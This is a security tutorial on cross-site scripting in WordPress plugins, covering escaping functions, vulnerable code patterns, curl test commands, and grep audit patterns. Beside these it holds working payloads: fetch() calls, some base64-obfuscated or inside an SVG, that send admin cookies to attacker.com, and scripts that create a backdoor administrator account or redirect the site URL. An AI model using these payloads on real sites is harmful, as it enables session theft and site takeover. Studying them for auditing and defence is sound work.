WordPress Cross-Site Scripting
Cross-site scripting in WordPress plugins and themes is one of the most commonly reported vulnerability classes. The impact ranges from defacement to full site takeover when an admin user triggers a stored XSS payload. Understanding WordPress's escaping functions and where they are commonly omitted is essential.
WordPress Escaping Functions
WordPress provides context-specific escaping functions that should be used for all output:
For HTML Content
// Escapes HTML entities: < > " ' &
echo esc_html( $user_input );
// Example output: <script>alert(1)</script>
// Appropriate for: text node content, not attribute values
For HTML Attributes
// Same as esc_html but also escapes ' and handles attribute context
echo '<input value="' . esc_attr( $user_input ) . '">';
// Prevents attribute breakout: value="value" onmouseover="attack()"
// The quotes and special chars are escaped
For URLs
// Validates URL structure and encodes dangerous characters
echo '<a href="' . esc_url( $user_input ) . '">';
// Blocks: javascript: protocol, data: URIs
// Allows: https://, http://, relative paths
echo esc_url( 'javascript:alert(1)' ); // Returns empty string
// esc_url_raw() - for database storage (doesn't encode ampersands)
$url = esc_url_raw( $_POST['redirect_url'] );
For JavaScript
// Encodes for use inside JavaScript strings (JSON encoding)
$data = json_encode( $php_var );
echo '<script>var data = ' . $data . ';</script>';
// Or use wp_json_encode (handles edge cases better)
echo '<script>var data = ' . wp_json_encode( $php_var ) . ';</script>';
// NEVER: echo '<script>var x = "' . $user_input . '";</script>';
wp_kses - Allowed HTML
// Strip all HTML except allowed tags/attributes
$allowed_html = [
'a' => ['href' => [], 'title' => []],
'strong' => [],
'em' => [],
'p' => [],
];
echo wp_kses( $user_input, $allowed_html );
// wp_kses_post - uses the allowed HTML for post content
echo wp_kses_post( $content );
// wp_kses_data - minimal allowed HTML
echo wp_kses_data( $content );
Stored XSS Patterns
Pattern 1: Unescaped Option Value Output
// Plugin saves option without escaping
update_option( 'plugin_header_text', $_POST['header_text'] );
// And outputs it without escaping
add_action( 'wp_head', function() {
$header = get_option( 'plugin_header_text' );
echo '<div class="header">' . $header . '</div>'; // XSS
});
Payload:
<script>
fetch('https://attacker.com/steal?c='+encodeURIComponent(document.cookie));
</script>
Testing:
# Store XSS payload in plugin setting
curl -s -b /tmp/subscriber_cookies.txt -X POST \
'https://target.example.com/wp-admin/admin-ajax.php' \
-d 'action=save_header_text' \
-d 'nonce=NONCE' \
--data-urlencode 'header_text=<script>alert(document.domain)</script>'
# Verify it's stored and rendered
curl -s 'https://target.example.com/' | grep -i "script\|alert"
Pattern 2: Stored XSS via Post Meta
// VULNERABLE: Saves post meta without sanitization
add_action( 'save_post', function( $post_id ) {
if ( isset( $_POST['custom_sidebar'] ) ) {
update_post_meta(
$post_id,
'_custom_sidebar',
$_POST['custom_sidebar'] // Raw user input stored
);
}
});
// Outputs without escaping
add_action( 'wp_footer', function() {
global $post;
$sidebar = get_post_meta( $post->ID, '_custom_sidebar', true );
if ( $sidebar ) {
echo $sidebar; // XSS when page is viewed
}
});
# Any author can create a post with XSS in meta
curl -s -b /tmp/author_cookies.txt -X POST \
'https://target.example.com/wp-admin/post.php' \
-d 'action=editpost&post_ID=5&post_title=Test&post_status=publish' \
--data-urlencode 'custom_sidebar=<img src=x onerror=alert(document.cookie)>'
Pattern 3: Shortcode Attribute XSS
// VULNERABLE: Shortcode attribute echoed without escaping
function vulnerable_shortcode( $atts ) {
$atts = shortcode_atts([
'title' => 'Default Title',
'color' => 'blue',
], $atts );
// Color is reflected unsanitized in inline style and HTML attribute
return '<div style="color:' . $atts['color'] . ';">' .
esc_html( $atts['title'] ) . '</div>';
}
add_shortcode( 'my_widget', 'vulnerable_shortcode' );
Payload in shortcode (contributor or above can typically use shortcodes):
[my_widget title="Test" color="red;}</style><script>alert(1)</script>"]
[my_widget color="red" title="<img src=x onerror=alert(1)>"]
Note: shortcode_atts does not escape values. The developer must escape when outputting.
# Test if shortcode attribute is vulnerable
# Create a post as contributor with the shortcode
curl -s -b /tmp/contributor_cookies.txt -X POST \
'https://target.example.com/wp-admin/admin-ajax.php' \
-d 'action=autosave' \
--data-urlencode 'content=[my_widget color="red;background:url(javascript:alert(1))"]'
Pattern 4: Reflected XSS via $_GET Parameters
// VULNERABLE: Search term reflected without escaping
add_action( 'init', function() {
if ( isset( $_GET['my_plugin_search'] ) ) {
$search = $_GET['my_plugin_search'];
// Reflected without escaping
echo '<div class="search-results">Results for: ' . $search . '</div>';
}
});
# Reflected XSS test
curl -s 'https://target.example.com/?my_plugin_search=<script>alert(1)</script>'
curl -s 'https://target.example.com/?my_plugin_search="><script>alert(document.cookie)</script>'
# URL for victim click
echo 'https://target.example.com/?my_plugin_search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E'
Pattern 5: XSS in Admin Pages
Admin XSS matters when exploited by lower-privileged users (subscribers/authors triggering XSS that fires in admin's browser):
// Plugin displays user input on admin page without escaping
add_action( 'admin_notices', function() {
$error = get_option( 'my_plugin_last_error' );
if ( $error ) {
// Admin page XSS
echo '<div class="notice notice-error"><p>' . $error . '</p></div>';
}
});
// Error is set from a public form
add_action( 'wp_ajax_nopriv_submit_form', function() {
update_option( 'my_plugin_last_error', $_POST['message'] ); // Attacker controls this
wp_die();
});
Any unauthenticated user can inject a payload that fires when the admin views their dashboard:
# Inject payload that will execute in admin context
curl -s -X POST 'https://target.example.com/wp-admin/admin-ajax.php' \
-d 'action=submit_form' \
--data-urlencode 'message=<img src=x onerror="fetch(atob(\"aHR0cHM6Ly9hdHRhY2tlci5jb20v\"))">'
SVG XSS
SVG files are XML documents that can contain JavaScript. When SVG is displayed inline or accessed directly:
<!-- Malicious SVG payload -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
onload="eval(atob('ZmV0Y2goJ2h0dHBzOi8vYXR0YWNrZXIuY29tL3N0ZWFsP2M9Jytkb2N1bWVudC5jb29raWUp'))">
<rect width="100%" height="100%"/>
</svg>
# Base64 decode the payload: fetch('https://attacker.com/steal?c='+document.cookie)
echo -n "fetch('https://attacker.com/steal?c='+document.cookie)" | base64
cat > /tmp/xss.svg << 'SVGEOF'
<svg xmlns="http://www.w3.org/2000/svg" onload="document.location='https://attacker.com/?c='+document.cookie">
<text>image</text>
</svg>
SVGEOF
# Upload SVG via media upload (if allowed)
curl -s -b /tmp/author_cookies.txt -X POST \
'https://target.example.com/wp-admin/async-upload.php' \
-F 'action=upload-attachment' \
-F 'name=image.svg' \
-F '_wpnonce=NONCE' \
-F 'async-upload=@/tmp/xss.svg;type=image/svg+xml'
DOM-Based XSS
DOM XSS occurs when JavaScript processes URL fragments or parameters without sanitization:
// VULNERABLE: Plugin JavaScript
jQuery(document).ready(function($) {
// Reads from URL hash without sanitization
var tab = location.hash.substring(1);
$('#' + tab).show(); // DOM manipulation with attacker-controlled value
// Or reflects search parameter
var search = new URLSearchParams(window.location.search).get('s');
$('.search-results').html('Results for: ' + search); // XSS via .html()
});
Testing payloads:
# Hash-based DOM XSS
https://target.example.com/plugin-page/#<img src=x onerror=alert(1)>
# URL parameter DOM XSS
https://target.example.com/plugin-page/?display=<script>alert(1)</script>
# Using innerHTML or jQuery .html()
https://target.example.com/#"></div><script>alert(1)</script>
XSS Payloads for Impact Demonstration
Admin Cookie Theft
// Exfiltrate cookies to attacker server
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify({
cookie: document.cookie,
url: window.location.href,
ua: navigator.userAgent
})
});
Admin Account Compromise via CSRF Chain
// XSS payload that creates a new admin account
// Fires in admin's browser context
(async function() {
// Step 1: Get nonce
const resp = await fetch('/wp-admin/user-new.php');
const html = await resp.text();
const nonce = html.match(/_wpnonce_create-user" value="([^"]+)"/)[1];
// Step 2: Create admin account
await fetch('/wp-admin/user-new.php', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: `action=createuser&user_login=backdoor&email=attacker@evil.com` +
`&pass1=P@ssw0rd123!&pass2=P@ssw0rd123!&role=administrator` +
`&_wpnonce_create-user=${nonce}`
});
})();
WordPress Option Modification
// Modify site URL to redirect all traffic
(async function() {
const nonceResp = await fetch('/wp-admin/options-general.php');
const html = await nonceResp.text();
const nonce = html.match(/name="_wpnonce" value="([^"]+)"/)[1];
await fetch('/wp-admin/options.php', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: `option_page=general&action=update&_wpnonce=${nonce}` +
`&siteurl=https://attacker.com&blogname=Hacked`
});
})();
Grep Patterns for XSS Auditing
PLUGIN_DIR="/var/www/html/wp-content/plugins/target-plugin"
# Direct echo of user input (high confidence)
grep -rP "echo\s+\\\$_(GET|POST|REQUEST|COOKIE)" "$PLUGIN_DIR" --include="*.php" -n
grep -rP "echo\s+\\\$_(GET|POST|REQUEST)\[" "$PLUGIN_DIR" --include="*.php" -n
# Output without escaping functions
grep -rn "echo" "$PLUGIN_DIR" --include="*.php" | \
grep -v "esc_html\|esc_attr\|esc_url\|wp_kses\|absint\|intval\|// "
# get_option / get_post_meta echoed without escaping
grep -rn "echo.*get_option\|echo.*get_post_meta\|echo.*get_user_meta" \
"$PLUGIN_DIR" --include="*.php" -n
# Shortcode attribute output without escaping
grep -rn "echo.*\$atts\|print.*\$atts" "$PLUGIN_DIR" --include="*.php" -n
# JavaScript variable assignments with PHP data (potential DOM XSS source)
grep -rn "var.*=.*<?php\|<?php.*echo.*?>.*;" "$PLUGIN_DIR" --include="*.php" -n
# wp_localize_script with unsanitized data
grep -rn "wp_localize_script" "$PLUGIN_DIR" --include="*.php" -A5 | \
grep "\$_\|get_option\|get_post_meta"
# printf with user input (often overlooked)
grep -rP "printf\s*\(" "$PLUGIN_DIR" --include="*.php" -n | \
grep "\$_(GET|POST|REQUEST)"
# Attributes in HTML without esc_attr
grep -rP 'value="\s*<\?php\s+echo\s+(?!esc_)' "$PLUGIN_DIR" --include="*.php" -n
# JavaScript files with DOM sinks
grep -rn "innerHTML\|document\.write\|\.html(\|eval(" \
"$PLUGIN_DIR" --include="*.js" -n
# jQuery-based DOM manipulation with URL parameters
grep -rn "location\.search\|location\.hash\|URLSearchParams" \
"$PLUGIN_DIR" --include="*.js" -n
Testing Methodology
TARGET="https://target.example.com"
# 1. Identify all input fields and parameters
curl -s "$TARGET/" | grep -oP 'name="[^"]+"' | sort -u
# 2. Test reflected XSS with canary
CANARY="xss_$(date +%s)"
curl -s "$TARGET/?search=$CANARY" | grep "$CANARY"
# 3. Test stored XSS via comments (if enabled)
curl -s -X POST "$TARGET/wp-comments-post.php" \
-d 'comment=<script>alert(1)</script>' \
-d 'author=Test' \
-d 'email=test@test.com' \
-d 'comment_post_ID=1' \
-d '_wp_unfiltered_html_comment=1'
# 4. Probe admin pages for admin XSS
curl -s -b /tmp/subscriber_cookies.txt -X POST \
"$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=plugin_save_data' \
--data-urlencode 'data=<script>alert(document.domain)</script>'
curl -s -b /tmp/admin_cookies.txt "$TARGET/wp-admin/" | grep -i "alert\|script" | head -5
Context-Specific Escaping Reference
| Context | Function | Example |
|---|---|---|
| HTML body | esc_html() | echo esc_html($text) |
| HTML attribute | esc_attr() | echo '<input value="'.esc_attr($val).'">' |
| URL in href/src | esc_url() | echo '<a href="'.esc_url($url).'">' |
| JavaScript string | esc_js() | echo 'var x = "'.esc_js($val).'";' |
| CSS value | esc_attr() + validation | Validate then esc_attr() |
| Textarea | esc_textarea() | echo '<textarea>'.esc_textarea($val).'</textarea>' |
| Rich HTML | wp_kses_post() | echo wp_kses_post($content) |
| Translation | esc_html__() | echo esc_html__('text', 'domain') |
Using the wrong escaping function for the context is a vulnerability. For example, esc_html() in an attribute value does not prevent attribute injection via unquoted values.